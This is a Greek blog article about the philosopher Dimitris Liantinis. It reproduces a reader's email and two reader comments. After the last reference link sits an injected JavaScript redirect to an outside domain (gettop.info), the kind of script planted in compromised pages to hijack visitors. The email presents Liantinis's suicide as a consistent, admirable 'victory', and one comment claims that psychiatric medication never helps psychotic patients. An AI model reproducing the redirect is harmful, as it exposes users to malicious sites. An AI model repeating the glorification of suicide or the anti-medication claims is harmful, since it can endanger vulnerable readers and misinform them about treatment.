Σκέψεις ενός αναγνώστη για τον Δημήτρη Λιαντίνη

2
17

Τα άρθρα μου για τον φιλόσοφο Δημήτρη Λιαντίνη, από το «καταραμένο» εκείνο αρχικό στο «Βήμα» [1] ως το ποιητικό και συμβολικό [2] και το εξομολογητικό [3] στην«Αιχμή», κι ως τα πιο πρόσφατα – κατά βάση καθαρά ακαδημαϊκά – επίσης στην«Αιχμή» [4,5], μου εξασφάλισαν πολύ περισσότερους εχθρούς απ’ ό,τι φίλους. Και η εχθρότητα αυτή δεν εκφράστηκε πάντα με όρους ευπρέπειας και σεβασμού στην αντίθετη άποψη, αλλά συχνά διολίσθησε σε προσωπικές επιθέσεις στα όρια των ύβρεων…

Έτσι, ήταν μεγάλη χαρά για μένα όταν έλαβα πρόσφατα ένα mail από τον Μάκη (δεν γνωρίζω άλλα στοιχεία του), έναν αναγνώστη του Aixmi.gr και, παράλληλα, έναν μελετητή του Λιαντίνη. Η αγάπη του αναγνώστη για τον φιλόσοφο, απόλυτα φανερή στο κείμενό του, δεν τον παρασύρει στις μικρότητες που με είχαν συνηθίσει όσοι κατά καιρούς διαφώνησαν μαζί μου (εξαιρώ τη φίλη Ελένη Αθανασούλη, αλλά αυτή αποτελεί μοναδικότητα). Και οι διαφωνίες κι ενστάσεις του Μάκη ήταν για μένα τροφή για σκέψη. Γιατί όχι, ίσως κι αναθεώρηση…

Το κείμενο του mail είναι ιδιαίτερα αξιόλογο, και θεωρώ χρήσιμο να το μοιραστώ με τους αναγνώστες:

————————————————–

Κύριε Παπαχρήστου,

Θέλω να γνωρίζετε ότι για την «επιστροφή» μου στον καθηγητή Λιαντίνη, με την έννοια της δεύτερης ανάγνωσης, αφορμή και αιτία ήσασταν εσείς, όταν υπέπεσε στην αντίληψή μου η διαμάχη σας με τους «ορκισμένους μαθητές» του. Τους οποίους δεν γνωρίζω πέρα από τα γραπτά τους αυτά, με τις όποιες ερμηνείες δίνουν για το έργο και τις ημέρες του «δασκάλου τους». Νομίζω ότι αυτή η συμπεριφορά τους απέναντί σας – και δεν είστε μόνον εσείς (γιατί έχουν και εμφύλιες διαμάχες…) – προσβάλλει αυτούς τους ίδιους, που μάλλον δεν καταλαβαίνουν ότι η «υπεράσπιση» του δασκάλου δεν αγιάζει όλα τα μέσα αλλά μάλλον βεβηλώνει και ευτελίζει την ανάμνηση του καθηγητή Λιαντίνη. Φυσικά, δεν θα παραλείψω να τους αναγνωρίσω τις καλές προθέσεις (όπως τουλάχιστον θέλω να πιστεύω). Η συμβολή τους, όμως, στη φήμη του δασκάλου τους ίσως έχει τα αντίθετα αποτελέσματα 18 χρόνια μετά…

Έρχομαι τώρα στις διαφωνίες μου πάνω στις δικές σας σκέψεις. Δεν νομίζω ότι επιμέρους απαντήσεις θα βοηθήσουν, μάλλον θα μας αποπροσανατολίσουν από το σημαντικό, που πιστεύω είναι το έργο του και όχι μόνο ο θάνατός του. Θα αναφερθώ μόνο σε αυτό: «Είναι δυνατόν να είναι ο σκοπός της ζωής (μας) η μελέτη του θανάτου (μας);»

http://www.aixmi.gr/index.php/skepseis-pano-se-mia-dialexi-tou-dimitri-liantini/

Νομίζω ότι η γέννησή μας, ο έρωτας και ο θάνατός μας, είναι οι τρεις κορυφαίες στιγμές της ανθρώπινης ύπαρξης. Ο θάνατος και ο έρωτας (με όλες τις έννοιες που δίνουμε στη λέξη) είναι, όμως, οι δύο σημαντικότερες στιγμές του βίου μας, γιατί αυτές τις βιώνουμε συνειδητά, ενώ τη στιγμή της γέννησής μας δεν έχουμε τη συνειδητότητά μας ανεπτυγμένη σε βαθμό κατανόησης. Είναι οι στιγμές που πολύ εύστοχα παραλληλίζει ο Λιαντίνης με το κρίσιμο εκείνο σημείο ισορροπίας που περιγράφει ηαρχή της απροσδιοριστίας (που εσείς κατανοείτε πολύ καλύτερα), το απειροστιγμιαίο εκείνο «ακριβώς» που ενώνει και χωρίζει το «πριν» απ’ το «μετά» και που θυμίζει την κορύφωση της ερωτικής πράξης (κορυφή πανύψηλου βουνού για τον άντρα, κορυφογραμμών πέρασμα για τη γυναίκα). Άλλες ανάλογες, αλλά όχι ίσης αξίας, είναι οι στιγμές των μεγάλων αποφάσεων που παίρνουμε στη ζωή μας κάθε φορά που καλούμαστε να περάσουμε ο καθένας τον δικό του Ρουβίκωνα (αν τον δούμε και σταθούμε μπροστά του).

Το φιλοσοφικό ερώτημα που έθεσε ο Λιαντίνης, είναι: Μπορεί ο άνθρωπος, όταν η φύση δεν του έχει στερήσει ελάχιστες αναγκαίες και βασικές δυνατότητες και έχει αξιωθεί να φτάσει σε ηλικία κρίσης (δηλαδή, μετά τα 23 χρόνια) να ζήσει (για το υπόλοιπο) μια γεμάτη ζωή; Να καταφέρει, δηλαδή, να δαμάσει τον εγωισμό του, τη φιλαυτία του, τη ματαιοδοξία του, να αναγνωρίσει όλες τις χαρές της ζωής (και να μην τις στερηθεί), χωρίς όμως και να εκφυλιστεί (δηλαδή κατά φύση και ισορροπία) ώστε, όταν «φύγει», να είναι πλήρης; Η απάντηση του Λιαντίνη είναι: «Ναι, μπορεί!» Αυτό, το ονομάζει μελέτη θανάτου.

Η προσέγγιση των άλλων (σπουδαίων) φιλοσόφων σε αυτό το θέμα συνήθως τελειώνει στις όποιες ψυχικές μεταθέσεις κάνουν σε μυθοπλασία, ή με παραδείγματα τρίτων σε φιλοσοφικά τους συγγράμματα, αλλά όχι με προσωπικό παράδειγμα. Στερούνται, δηλαδή, της απόδειξης. Ο Λιαντίνης προχώρησε εκεί που σταμάτησαν και σταματούν όλοι οι άλλοι μεγάλοι φιλόσοφοι. Τη φιλοσοφία του την έκανε πράξη.«Φεύγω πλήρης και υγιής», δήλωσε εκείνος. Απολύτως συνεπής, νομίζω εγώ.

Δεν άφησε χρέη, δεν ήταν απελπισμένος, δεν ήταν τρελός, δεν ήταν απογοητευμένος, δεν πήρε και άλλους μαζί του στο όνομα κάποιας πίστης ή κάποιας εκδίκησης, δεν αγνόησε τον πόνο των δικών του ανθρώπων που υπεραγαπούσε και γι’ αυτό τους προετοίμασε έτσι ώστε να τον κατανοήσουν (μιλώ για τη μητέρα του και την κόρη του). Για ματαιοδοξία, δεν το συζητώ. Ο ματαιόδοξος δεν χάνει ούτε ένα χειροκρότημα, ακόμη και από τα φτερά της μύγας ακούει χειροκροτήματα και ελπίζει μέχρι την τελευταία του ανάσα (άντε, προ-τελευταία του) στην «καταξίωση», η οποία δεν έχει ούτε οροφή ούτε τέλος.

Δεν έδωσε παράδειγμα θανάτου αλλά συνέπειας ζωής και έργου, λόγων και πράξεων. Δεν αυτοκτόνησε αλλά «νίκησε» σε μια μάχη που έδωσε αυτός, για τον εαυτό του, και δεν είναι δυνατόν να τη δώσει κανένας άλλος «μιμητής» στο μέλλον γιατί, απλούστατα, θα άλλαζε τη συνθήκη. Δηλαδή, ο επόμενος «επίδοξος» θα έχει ως επιπλέον κίνητρο να το κάνει «όπως ο Λιαντίνης». Αυτός, να είστε σίγουρος, θα πηδήξει και από μπαλκόνι με ή χωρίς κάμερες!

Μελέτη θανάτου σημαίνει ζω καλά, δεν ξοδεύω ούτε μια στιγμή από αυτό το υπέρτατο δώρο που μου χαρίστηκε. Ζω ανθρωπινά και κατά φύση. Δεν ετοιμάζω πυραμίδα να θαφτώ μέσα κάνοντας χρήση των «σκλάβων» ή «μαθητών», αγνοώντας κάθε τι άλλο «ποταπό» αφού ΕΓΩ έχω θεϊκό σκοπό!

Το έργο, λοιπόν, ενός Ανθρώπου αυτής της Συνέπειας, που δεν εξαιρεί και δεν αναβάλλει ούτε το θάνατό του, πρέπει να το προσεγγίζουμε με μεγάλο σεβασμό. Τον μεγαλύτερο ίσως.

Αυτά κατάλαβα εγώ διαβάζοντας το έργο του («Πολυχρόνιο», «Νηφομανή»,«Γκέμμα», κάποια αποσπάσματα από τα «Ελληνικά» και τις όποιες ομιλίες είναι διαθέσιμες στο Διαδίκτυο). Και από εκεί, από το έργο του, πρέπει νομίζω να αρχίσετε (ο πνευματικός κόσμος) ώστε να μπορέσουμε να κατανοήσουμε και τον θάνατό του.

Εκεί μέσα, είδα έναν άνθρωπο βαθιά ηθικό. «Χριστιανομάχο» αλλά όχι «Χριστομάχο». Άθεο; Ναι, με την έννοια του μη ασπασμού κάποιου δόγματος. Ο Λιαντίνης βάζει στο κέντρο τον άνθρωπο, παρόλο που γνωρίζει ότι το σύμπαν δεν περιστρέφεται γύρω μας. Τον βάζει, όμως, για να αναμετρηθεί με τις προκλήσεις και να καταργήσει το «μάταιο», ανεβαίνοντας σε κορυφές δύσβατες αλλά που μπορεί να τις κατακτήσει, όχι για να «θεωθεί» αλλά για να «ανθρωπιστεί»!

Προσέξτε ότι χρησιμοποιεί, σε όλο του το έργο, την κατάφαση και όχι την άρνηση και την απόρριψη, ακόμη και εκεί που είναι εκ διαμέτρου αντίθετος. Πιστεύει ότι ο χριστιανισμός ήταν οπισθοδρόμηση αλλά αναγνωρίζει ως αναπόφευκτη την οπισθοδρόμηση αυτή, και νομίζω ότι έχει δίκιο και για τα δύο. Αφήσαμε περισσότερα στο Θεό, μεταθέσαμε στο Σταυρό του Χριστού τις δικές μας ευθύνες, πιστεύουμε και περιμένουμε «θαύματα» και δεν δημιουργούμε θαυμαστά έργα. Γιατί, σίγουρα, το ότι φτάσαμε να είμαστε σε απόσταση ενός κουμπιού από τον πυρηνικό όλεθρο, αυτό δεν το λες θαυμαστό έργο…

«Είναι άδικο και μεγάλο παράξενο», γράφει, «να χαρίζεται τέτοιο το δώρο της ζωής στους ανθρώπους, και οι πλείστοι να ζούνε μέσα στη ζάλη αυτού του αστείου παραλογισμού». Για ζωή μιλάει, όχι για θάνατο. Προσέξτε τη γλώσσα: Είναι ρήτορας στο λόγο του και ποιητής στα γραπτά του!

Κύριε Παπαχρήστου, πιστεύω ότι αν προσεγγίσετε το έργο του (όχι μόνο το θάνατό του) χωρίς τον – απολύτως κατανοητό και δικαιολογημένο – εκνευρισμό που μας προκαλούν οι «μαθητές» του, τότε θα μπορέσετε να μας δώσετε άλλες, πιο φωτεινές αναγνώσεις.

Αυτές περιμένω!

Με βαθύτατη εκτίμηση,

Μάκης

Υ.Γ:

Ο Λιαντίνης, κατά την άποψή μου, έχει θέση στα «εργαστήρια» ανθρώπων του πνεύματος (και όχι «πνευματικών») και σίγουρα όχι στα μεσημεριανά της τηλεόρασης ή στα sites «πιστών», «μαθητών», «πνευματικών κληρονόμων» ή απλώς «κληρονόμων», που σκίζουν τα ιμάτιά του και τα μοιράζονται. Αν τελικά το αποτέλεσμα του έργου του θα είναι να φτιάξει θρησκεία (έστω και ενός πιστού), τότε αυτός απέτυχε και εμείς τον χάσαμε!

————————————————–

Αναφορές:

[1] http://www.tovima.gr/opinions/useropinions/article/?aid=438152

[2] http://www.aixmi.gr/index.php/sti-skia-enos-epigeiou-theou/

[3] http://www.aixmi.gr/index.php/mia-prosopiki-katathesi-gia-ton-dimitr/

[4] http://www.aixmi.gr/index.php/skepseis-pano-se-mia-dialexi-tou-dimitri-liantini/

[5] http://www.aixmi.gr/index.php/poso-st-alitheia-haoromaste-se-mia-kideia/ setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);

2 ΣΧΟΛΙΑ

  1. Το μέγεθος «Λιαντινης» μόνο κάποιος ισάξιος του θα προσεγγίσει σε βάθος στο μέλλον. Εκεί έχω καταλήξει μετά από μελέτη του έργου του. Πάντα στεκομαι κριτικα στον οποιονδήποτε, αλλά εδώ έχουμε να κάνουμε με πνεύμα και εγκέφαλο που γεννιούνται κάθε εκατό χρόνια. Μου λείπουν πολλά για να διεισδυσω στο βάθος του.

    Ποίηση μέσα από πεζο επιστημονικό λόγο.

    Είναι το τρίτο είδος γραφής που αναζητησε,και μέσω αυτού το αποτέλεσμα που πετυχαίνει απογειωνεται σε δυσθεωρητα ύψη. Κι αν αυτό τεθεί σε συνάρτηση με τη φιλοσοφικη θεώρηση του θανάτου του και τον τρόπο που έζησε, το αποτέλεσμα εξυψωνεται ακόμη περισσότερο.

    Ο Λιαντινης θαρρεις και αντιπροσωπευει τον τύπο του Έλληνα στον οποίο αναφέρεται ο Νιτσε στο -περίφημο πια- απόσπασμα από το έργο του «Η Γέννηση της τραγωδίας» -κι έχει να κάνει μ’ αυτόν τον αβιαστο και φυσικό τρόπο προσέγγισης των πραγμάτων (που παραπέμπει στους Προσωκρατικους).Ο άνθρωπος δεν έφτασε ψηλότερα από τότε. Δεν ενδιαφέρει τόσο η αλήθεια των ανακαλυψεων τους (αν και, όπως ξέρουμε, ο Ηρακλειτος έχει «ακτινογραφησει» τη σύγχρονη επιστήμη με εκατό φραγμεντα) αλλά Ο ΤΡΟΠΟΣ. Εδώ, κατά τη γνώμη μου, ξεχωρίζει ο Λιαντινης από κάθε άλλον σύγχρονο μεγάλο διανοητη. Η δυσκολία-και η ομορφιά προσθέτω εγώ- βρίσκεται στην απλότητα. Είναι μια φράση που βρίσκει απόλυτη εφαρμογή στον Λιαντινη.

    Ποιητής, πάνω από όλα, και στη ρίζα του θετικός επιστήμονας. Όπλο του η κριτική φιλοσοφία. Εθνιστης και Έλληνας, αλλά όχι εθνικιστης και μισαλλοδοξος, όπως τον θέλουν κάποιοι (πώς αλλιώς, αφού ο άνθρωπος είναι το πιο τραγικό πλάσμα στο σύμπαν), δεν επιδιώκει να αλλάξει τον κόσμο. Ο Λιαντινης δεν απευθύνεται σε συλλογικοτητες. Δεν είναι τυχαίο που δεν αναλωνεται με επιμονή πουθενά (σε όλο το σώμα του έργου του) σε κομμουνιστικα ή καπιταλιστικα ή άλλα μοντέλα διαχείρισης των κοινωνιων. Αντιτιθεται σε κάθε -ismus και μιλάει πάντα «αρχετυπικα». Με άλλα λόγια θέτει στο επίκεντρο τον άνθρωπο ως μονάδα, ακόμη κι αν γνωρίζει πολύ καλά πως δεν περιστρεφονται τα πάντα γύρω του. Πολύ εύστοχο το σχόλιο του φίλου -συμφωνώ απόλυτα.
    Οι αμυητοι, διαβάζοντας μόνο την Γκεμμα, θα βιαστουν να εξαγουν το συμπέρασμα πως έχουμε να κάνουμε με κάποιον υπερφιαλο, επηρμενο και ματαιοδοξο -ή και τρελό. Άλλοι πάλι θα βιαστουν να νομισουν ότι γράφει κοινοτοπιες!Στην «Γκεμμα» και στα Ελληνικά αφήνει τα «απολύτως απαραίτητα»(όπως λέμε στις θετικές επιστήμες «από το όλον βγάζω το μέρος»), που έχουν τοσο πυκνά νοήματα, όσο ένας στίχος του Σολωμού, ο οποίος ισοδυναμεί με δέκα τόμους,καθώς έλεγε. Είναι από τους στοχαστες εκείνους που δεν μπορεί να γίνει αποσπασματικη αντιμετώπιση του έργου του, διαφορετικά οι παρερμηνειες και διαστρεβλωσεις που ενδέχεται να προκύψουν είναι άπειρες. Είναι από τους πιο δυσκολους στοχαστες του καιρού μας.

    Ο Λιαντινης, νομίζω, δεν έχει πάρει τη θέση που του αξίζει. Ο ακαδημαϊκός χώρος δεν έχει μπει καν στον κόπο να τον αξιολογήσει, και σ αυτό ευθύνονται πολλά(προσυπογραφω μέχρι κεραίας την αιτία «οπαδοί – λιαντινοπληκτοι).
    Ολοένα όμως κερδίζει μεγαλύτερο έδαφος στο αναγνωστικό κοινό και ελπίζω να γίνει το ίδιο κι από ανθρώπους του πνευματος.

  2. Ένα πράγμα δεν έχει επιτρέψει στο πολύ μεγάλ πνεύμα που λέγεται Λιαντινης να αξιολογηθει: η ψυχιατρικοποιηση της κοινωνίας. Επιστήμη Ψυχιατρική όπως εφαρμόζεται σήμερα δεν υπάρχει. Είναι μια τρέλα από μόνη της. Ουσιαστικά, είναι μια βιομηχανία της τρέλας -ακόμα χειρότερα δηλ. Μια εγκοσμια θρησκεία, όπως λένε πολλοί θεωρητικοι της Ψυχιατρικης όπως ο Τόμας Σαζ. Ανάμεσα σ αυτούς έχει κι η Ελλάδα έναν σπουδαίο πνευματικό άνθρωπο και γιατρό – παρεξηγημενος κι αυτός, όπως όλοι οι σπουδαίοι-τον Κλ. Γριβα, ο οποίος έχει εδώ και δεκαετίες ασχοληθεί και εξ επαγγέλματος βέβαια με το πρόβλημα.Είναι πολύ μεγάλο ζήτημα για να επεκταθεί εδώ βέβαια.

    Απλώς, και εσείς κ. Παπαχρηστου στο πρώτο άρθρο σας στο «Βήμα» κρινατε, ούτε λίγο ούτε πολύ (και χαιρεκακα θα προσθετε κανείς), τον Λιαντινη ως παραφρονα, παίρνοντας αφορμή από μια πρότασή του στην «Γκεμμα»,την οποία παρουσιασατε αποκομμενη, και το κυριότερο: την αναγαγατε σε νοσολογικη οντότητα αλλοιωνοντας το πραγματικό της νόημα.
    Η ψυχαναλυση θα έπρεπε να συνυφαινεται με κλάδους της φιλοσοφίας -το πραγματικά τεράστιο πρόβλημα άρχισε όταν έγινε κλάδος της Ιατρικής και έχει γίνει αυτό το πάντρεμα με τη Νευρολογια, όταν δηλ. θέλησαν οι αρχιψυχιατροι να προσδωσουν επιστημονικό /ιατρικό κυρος. Ένα επιστημονικό κυρος που είναι σε πολύ μεγαλο βαθμό αμφισβητησιμο και ασαφες, όπως ασαφεις είναι οι διάφορες – περιφημες πλέον- χημικές ανισορροπιες του εγκεφάλου ως πρόκληση ψυχικων παθήσεων. Άραγε έχετε δει ΈΝΑΝ «τρελό» (ψυχωσικο με ορους της Ψυχιατρικης) να γίνεται καλά με φάρμακα; Εγώ δεν ξέρω ούτε έναν. Τι σόι επιστήμη είναι αυτή;
    Οι παρενέργειες της καταχρησης αυτής της τακτικής είναι ολεθριες για την κοινωνία και τον ποθουμενο ουμανισμο μας: Κάθε τι που είναι διαφορετικό και αλλιωτικο το ονομάζουμε τρελό για να ξεμπερδευουμε. Μόνο η εξουσία έχει όφελος από αυτό βέβαια. Την ίδια την αρρώστια της κοινωνίας και του σύγχρονου πολιτισμού την μεταθετουμε στο άτομο.
    Έτσι, κι ο Λιαντινης, περιφρονηθηκε από όλους τους συναδέλφους, γιατί λειτουργούσε διαφορετικά. Έχετε μεγάλο άδικο να λέτε ότι έχει μόνο οπαδούς ο Λιαντινης. Στον ακαδημαϊκό χώρο έχει ως επί το πλείστον αρνητες. Και είχε πάντα, ακόμα κι όταν διδασκε, μη καταδεχομενοι το διαφορετικό και αναγαγοντας το σε νοσολογικη οντότητα. Μετά την τελευταία του πράξη οι ψυχοτεχνικοι πληθυναν. Αλίμονο!
    Όμως το μόνο που απέδειξαν είναι η μικροψυχια τους και η δήθεν πνευματικοτητα τους.
    Γιατί έστω και με τις επικρατουσες αβασιμες θεωρίες και κριτήρια περί του τι είναι «τρελό» και τι όχι, ο Λιαντινης δεν είχε καμία σχέση. Κι αν ακόμα υποθέσουμε ότι είχε, ξεχασαν μέσα στην «κανονικοτητα» τους τα τόσα μεγάλα πνεύματα που πρόσφεραν στη ανθρωπότητα στην ιστορική της πορεία και θεωρηθηκαν «τρελοί». Από πού να πιάσουμε και πού να τελειώσουμε…

    Ο Λιαντινης ειναι από αυτούς που φαίνονται διαφορετικοί αλλά είναι πιο «κανονικοι» από τους κανονικούς». Και ήταν -κατά την άποψή μου- από τα πολύ μεγάλα πνεύματα του 20ου αι. σε παγκόσμιο επίπεδο. Από εκείνους που πάνε την ανθρώπινη σκέψη και τον άνθρωπο ένα βήμα παραπέρα.

    Υγ:Σημερινός ψυχίατρος χωρίς πνευματική ευρυτητα είναι κίνδυνος-θάνατος…

ΑΦΗΣΤΕ ΜΙΑ ΑΠΑΝΤΗΣΗ

Please enter your comment!
Please enter your name here